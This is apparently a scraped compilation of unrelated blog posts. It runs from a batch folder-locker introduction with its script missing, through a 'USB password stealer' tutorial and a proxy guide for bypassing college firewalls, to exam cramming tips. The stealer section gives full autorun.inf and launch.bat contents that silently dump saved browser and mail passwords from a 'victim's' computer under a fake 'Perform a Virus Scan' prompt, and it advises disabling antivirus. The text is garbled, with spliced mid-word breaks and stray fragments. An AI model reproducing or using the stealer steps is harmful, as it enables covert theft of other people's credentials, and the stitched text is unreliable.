The following batch script help you in locking up your folder with a password, so the user who
knows the right password can only be able to access the folder, where others don’t (Well this is not quite
secure, but can be useful in learning batch programming, because even a noob can easily identify the
password, or can access the folder without using a password, there are a lot of ways to break it).
The batch file that is given below will create a directory named ‘Locker’, when it gets executed,
then you may place whatever you wish to place inside that directory, once done re-execute the same batch
file, then it will prompt you whether to lock the folder, like this
press ‘y’ and hit enter, then the directory ‘Locker’ Disappears. In order to make the directory re-appear
again, you have to execute the same batch file once again, then it will prompt you to enter the password to
unlock the folder, you have to enter the password as ‘secret’, since it is already mentioned by default in
the program itself.
Once the password is matched, then the folder becomes visible, so that you can access the folder again.
114
So, what happens is that, the folder ‘Locker’ is set with the system and hidden attribute, hence it becomes
invisible, when the batch program is executed again, it prompt for password, which is already set as an
environment variable with a value ‘secret’, when the match is found, the attribute is set to normal and the
folder becomes visible and accessible.
Here is the snippet for the folder locker,

Because looking like an expert is easier than being one.
There’s a lot of people in the world and even more online accounts. Every security system has a flaw and what we’re going to discuss here is just that. Most people, with their eyes on the clock and not a second to spare just tick “Remember Me” on various websites without a second thought thinking it’s going to save their time. This is particularly common among poeple who have a private system, maybe a Laptop that nobody else ever touches or a PC which they have locked with a password. Not knowing that there exist many tools to “recover” saved passwords (More like- to exploit exactly these naive people). Browsers store passwords and account details in cookies. What’s quite surprising is just how little security they offer, even worse, none of the browsers seem to care about encrypting passwords. Most of them have an option to “Show Saved Paswords” in the options menu. We’re going to cut even that out, just plug in a USB- Take it out- and Voila! we have all the passwords. That is what you’ll learn in this tutorial. So, with a goal in mind and not a second to spare, let’s start right away.
Things you will need (See link below):-
MessenPass – MessenPass is a password recovery tool that reveals the passwords of several common instant messenger applications.
Mail PassView – Mail PassView is a small password-recovery tool that reveals the passwords and other account details for Outlook express,windows mail,POP3 etc
IE Passview – IE passview is another small program that helps us view stored passwords in Internet explorer.
Protected storage pass viewer(PSPV) – Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer.
Password Fox – Password fox is a small program used to view Stored passwords in Mozilla Firefox. (These are the ones I’ve tried and tested. More like these surely exist and you can always Google it out for something possibly better. There are analogous tools for the Chrome browser too. You can find these and tons more at http://www.nirsoft.net/)
So that’s that and now we are ready to create a USB password stealer. Note: These programs tend to attract a lot of attention from antivirus softwares (Get used to this). Kindly disable your antivirus before performing these steps, at your own risk of course
1. First of all download all 5 tools in your USB. Most of them are just some .exe files (mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe). (You need the softwares completely on your pen drive. Make sure you have all the installation files in your USB[if any])
2. Create a new Notepad and write the following text into it:
[autorun] open=launch.bat ACTION= Perform a Virus Scan
Save the Notepad and rename it from New Text Document.txt to autorun.inf Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it. (Yep, still no copy-pasting allowed.) start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt
Save the Notepad and rename it from New Text Document.txt to launch.bat Copy the launch.bat file also to your USB drive.
These were simple commands to start up our password “recovering” programs as soon as we plug in the USB. What we just did here is simply hook up our launch.bat batch file to the autorun.inf file that automatically runs when the computer detects the USB. In the launch.bat, we started up our programs and provided them with file names as parameters so that each program should put in the passwords in their respective .txt files.
Now your USB password stealer is ready. All you have to do is insert it in your victims computer and a popup will appear, in the popup window select the option (Perform a virus scan) as soon as you will click it, your USB password stealer will do it’s magic and all the passwords saved on the system will be saved in a .txt file. I recommend you try it out on your own system first to see how it should work. See the last line of our autorun.inf, we are simply specifying the text for the alert dialog. You can type in anything you think is the least suspicious. This may not work on all operating systems and all different browsers. Your best bet would be to pack in as many diverse programs as you can for giving you the best chance. Also, note that the computer should not have autorun feature disabled for the USB stealer to work.
Let’s start from general meaning of word ‘proxy’. It’s actually an agent/substitute or anybody acting at place of any other. Technically, proxies are used to bypass some firewall restrictions, maintaining anonymity or for many other purposes. Like you can use proxies for accessing social networking sites from your college network which the firewall may restricts. Let’s understand the common methodology (talking in general terms) You bunk the lecture, requests your friend to speak up your att
Common ways to use proxies-
endance, you get the attendance (in case professor doesn’t’ detect).
Another example, when college firewall doesn’t allow you to connect to a site (say Facebook), You requests a proxy server to bring the web page from Facebook and serve you, Now the firewall thinks you are dealing with a server other than Facebook and allows you to make a connection(in case firewall doesn’t detect ). Hence you have successfully managed to bypass a firewall. Proxy servers simply act as intermediate between your machine and actual server that you are accessing. Proxy servers are mostly used to maintain anonymity. Suppose you are planning to commit an online crime(although you shouldn’t) you can use a proxy server. The actual webserver doesn’t come to know about you because proxy server is dealing with webserver on your behalf.
(1) Setting in Web Browser
Steps:- 1. First of all log on to whatismyip.com and pen down your current IP. 2. Logon to google.com and search for ‘fresh proxies’ you will get many sites providing you list of IPs and respective port numbers. It must be like this IP:port. Suppose logon to http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml
3. Now copy the IP and port no. 4. In Mozilla Firefox browser, go to Tools->Options->Advanced->Network->Settings. Check the option “Manual Proxy Configuration” , fill IP and port no. You can configure the proxies in any browser. 5. Check out whatismyip.com again, hopefully it must have been changed. Similarly you can configure proxies in other web browsers.
(2)Using softwares and applications –
You can download many IP hiding softwares. They are easy to use and freely available on internet. They automatically keep changing your IP after a particular interval of time. As an example, ‘Ultrasoft’ is quite easy to use and very effective but then again there are tons of them out there.
(3) Using websites –
Many websites (e.g. hidemyass.com ) provide free services to hide you IP address. You can directly visit other websites through them. Although the methods, mentioned above are better for long term, this can be used if you urgently need to visit any website without your service provider or anyone else finding out.
So are you an engineering student? Just like me! Tomorrow is your exams and you have not even touched the book yet? So cheer, this blog is for students like us only. Scholars (mostly girls) please stay away.
Have you have already given up thinking, “What the hell can I do at this moment? Tomorrow is exams!” Think again! You are engineering student & last night studies are every engineering student’s epitome. Every engineering student has used this last night study technique once in their life. After all, according to a famous Facebook page, only engineering students can understand the study of last night!
Are you worried how you’ll clear your papers in the upcoming examinations? I have seen many engineering students who get K.T in more than the limit needed to pass the year. It is different in different universities in India.
For example, the university in which I’ve studied from allows you three backlogs to carry forward to the next year. If you get more than three KTs, you get a year drop. Thus, being an engineering drop-out in my university was like a norm. More and more students were pre-determined to take the KTs in advance if they find a subject very tough to clear.
It is the case with all engineering students, if you cannot clear a subject now, hold it for later. Even I’ve done this many times.
That monster in my engineering was the subject of “Engineering Mathematics – III” or simply M3. Actually, most of the students take M3 as the option to pass in next semester to focus on other subjects. Even I cleared my M3 in next attempt.
It’s not like any tough subject, but as they say in our university, “M3 nikal gaya to samjho aadhi degree ho gayi”. That literally means – If you clear M3, you almost get your half (engineering) degree. So I am speaking with my experience, never slog on your papers to clear in next semester.
Try to clear each and every paper in the same semester itself. Do you find it tough to do it? Read the following tips so you’ll find it is so easy to clear your papers even if your exams are tomorrow and you’ve not even touched the book yet.
Step 1. First of all, calm down!
Keep Calm Because It’s Late Night Study
In a scenario if you have not studied anything before, and just a few hours are remaining for the exam, most of the student panic big time. The mere sight of those fat books makes all your confidence go down.
But wait guys, these books have much more crap than your real syllabus. So if you are tensed, calm down. Of all the students I have seen who pass their exams by last night’s study, one thing is common in all – they do not worry about the result. They just calm down and bit relaxed about tomorrow’s exam. They know that they’ve not studied the entire semester, so whatever is the result in tomorrow’s exam, they are ready for it.
Just relax and think you can pass, with just a bit of effort. Read the next point for some motivation.
Step 2. If You Have Already taken this as KT, Think Again, You can Pass This
I Can Do It!
Have you already taken this subject for granted? Please do not do this. At least try studying it, who knows, you can pass with flying colors. Yes, it can be possible. It has been done before. See this example.
I have seen one of my friend who had taken one subject as open KT even before the exam. His reason was “It’s too tough, I’ll concentrate on other subjects.” Next day his paper was at 10 AM in the morning. After sleeping the whole day, at 5 PM, he thought to open the book and study whatever he can, not for passing the exam, but just as a time pass. Anyways, he was sure to fail.
He took it reading the book because all his friends were studying and he had already slept a lot. Plus, his mobile was in the repair shop. So he had nothing to do so he just took the book. After just reading the index for one hour, started reading the topics. Kept on reading till 1 AM till night. Next day, he appeared for the exam and to everyone’s shock he sat for full 3 hours, as opposed to his planning to leave exam hall after the first hour. When results came, he was the third topper in the subject.
Some say he just use to fool around people, but I say he was my close friend, and I know he didn’t study before that day. So open the book and study. Who knows? You can become another example!
Step 3. Open the book, even if you don’t know a single word of the subject.
Open the Book
In case you are one of those who has not even turned single page of the subject, you are not alone! Indian Engineering students know how to handle pressure, no matter whatever is the situation. Open the book of the subject, don’t catch your head seeing the contents.
The contents are specially designed in such a way that goes bouncer out of head, but you be firm that you’ll try to read. Divide the topics according to time. And set a goal that you’ll read it, no matter whatever distractions you face, you aim to complete the reading.
Even if everything goes above your head, don’t just slam the book away, you need to create a flow for that. When you get that flow of reading, everything else around would become less important. Keep trying to avoid the urge to close the book and sleep.
It always happened with me. Whenever I use to think I’ve to study, I used to get sleep. I have discovered by living an engineering student’s life that one feels to sleep the most during exam times. Those who overcome this, come out as winner.
Step 4. Take help of a scholar
Although you do not categorize yourself as one of the scholar students of your batch. The aim of bespectacled scholars is always to top, while last benchers like us, will do anything for 40 marks. They cry on securing 80% why they didn’t get 85%. While we jump around in joy just by seeing we have condone passed.
Scholars are very helpful this time, although only few would help at this hour. They might be busy revising the book for a 10th time, but still give‘studied-nothing’ look. We use to tease our scholar friend, “We know you won’t rest, give some rest to the book instead.”
Consult a scholar and tell her (it’s mostly her) to mark a few important questions. If you have some basic doubts (we know the whole subject is a doubt for you), you can take the help.
Step 5. Study the question bank
Search the frequently asked questions in exams, and practice them like hell. Say, there are three questions that are very important from exam point of view, focus on those questions like they are definite exam questions. Focus on the most important questions, and prepare them in such a way, that if they come in exam you should squeeze out maximum possible marks from them.
You can do this way Mark most two important questions of every chapter. If you have five chapters in the subject, there will be a total of ten questions in that. Just focus on this questions only, very accurately. Suppose if only 5 of them come in exams, you can at least write something than to leave the paper blank.
If you increase the quantity of questions in each chapter, say three per chapter, according to a five-chapter syllabus, you’d have finished 15 questions. Out of this 15, at least 7 must have to be asked in the exam. If you prepared the questions well, and if you get 6 marks for each question, you will surely cross the limit 40.
Step 6. Find some notes of the reputed teacher
Take the easiest book that explains everything in a very simple way. Do not complicate the things. Take the notes of any teacher that is famous for his/her question bank. Focus only on that and try to keep your focus on one thing.
Step 7. Take one chapter at time
The most common mistake that students do while last night studies are giving up if they see time is running and they still have not completed the first chapter. But go slow, keep going. Once you get the flow of study, everything will fall into place. And take one chapter at a time!
Step 8. Focus on diagrams
If your subject has lots of diagrams and figures, practice them first. Because any answer with a diagram automatically increases its value, even if you right rubbish in theory. The examiners check the diagram, first, and if they find it correct, they will not go into much details of reading the theory.
Actually, this is one of the best-kept secrets of cracking an engineering paper last night. Practice all the diagrams perfectly, then during exams, draw them as neat as if you are M.F Hussain, and examiners generally have this notion that if the student has drawn such pretty diagrams, (s)he must be a scholar, and checks the paper with that mindset, increasing your chances not only to cross the desired 40 mark but scoring well enough as well.
Step 9. Do not try to mug up. Understand the concepts.
If you try to mug up answers, you’ll end up forgetting it. “Ratta Maar” is a good technique for brainless scholars, or who has a lot of time to ratta-fying things. But at the last moment, do not use ‘ratta’ technique at all. Try to understand the concepts and write them in your own words, that’s the best way in last night study.
Step 10. Time management for questions
Suppose you’ve targeted 2 questions for an hour, which is possible. If you have let’s say more 7-8 hours remaining for exams, take out 2 hours as miscellaneous (your bathing, toilets, blah blah), you have only 5 hours. Utilize these 5 hours like a battlefield, if you use them properly, you win the battle.
If you waste these five hours, you lose. Take this exam as a battle of three hours, and the preparations that you need to do before that is preparations before the war. Focus on fewer questions, but do it perfectly. It is better to focus on two fully correct answers than five erroneous answers. Revise on what you studied, rather than focusing on more.
Step 11. Do not let distractions affect you, keep your mobile away
Passing an engineering exam in one night is possible, many have done it, but it needs some effort. But biggest distractions are procrastination and social media. Forget about WhatsApp and Facebook, they are your biggest time wasters. The best thing to do is to turn your mobile switched off, and just immerse yourself in books and notes. That’s tough for today’s youngster, but you can do this. Also, do not let any other distractions come your way like friends, hunger etc.
Step 12. Stay calm, and believe in yourself.
We know everybody can do this. Just they need self-belief for doing this. Also, if they are able to control their distractions and focus on one thing, it’s very easy to crack exam even at the last hour.
Well, this article does not promote last night studies. Because there is no better substitute for daily studies. This article is written for those who have given up any hope clearing the subject, as it’s last night of exam. This is just to motivate them that due to some factors if you haven’t studied, you can still pass the exam in last night. However, we don’t encourage you to make this as a habit. Last day is for revisions, not for starting the subject.
Anyways, good luck!
